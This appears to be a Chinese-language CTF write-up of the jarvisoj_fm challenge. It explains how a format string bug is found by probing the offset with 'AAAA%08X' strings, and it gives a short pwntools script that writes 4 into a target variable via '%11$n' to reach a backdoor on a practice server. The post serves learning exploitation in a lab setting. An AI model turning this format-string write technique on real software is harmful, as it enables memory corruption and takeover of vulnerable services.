jarvisoj_fm

遇到的第一道格式化字符串漏洞。
学习了很多。
image
有后门函数,这题就是把x改成4就可以了。利用点在于上面的第一个printf。
https://blog.csdn.net/qq_43394612/article/details/84900668?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~default-1-84900668-blog-120577896.pc_relevant_multi_platform_whitelistv1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~default-1-84900668-blog-120577896.pc_relevant_multi_platform_whitelistv1&utm_relevant_index=2
这里讲的原理很详细。
第一个点在于怎么查偏移量。记个句子AAAA%08X%08X%08X%08X%08X%08X%08X%08X
为什么,这个原理就是放个aaaa四个字节刚刚好填充满32位,然后每一个%08x都是刚刚好可以打出一个地址。然后呢,printf可以泄露偏移量。一直输出到对应的可以结束的null的位置。这样看哪里有0x41414141就可以找到偏移量
第二个点

点击查看代码
from pwn import *
io=remote("node4.buuoj.cn",26335)
x=0x0804A02C
payload=p32(x)+"%11$n"
io.sendline(payload)
io.interactive()
记住这个payload的构造,尤其是%n这个是前面打出了多少个字符就是几,这里p32(x)是4个字节就是4.完美达到要求。
posted @ 2022-06-29 21:37  REPWNER  阅读(26)  评论(0)    收藏  举报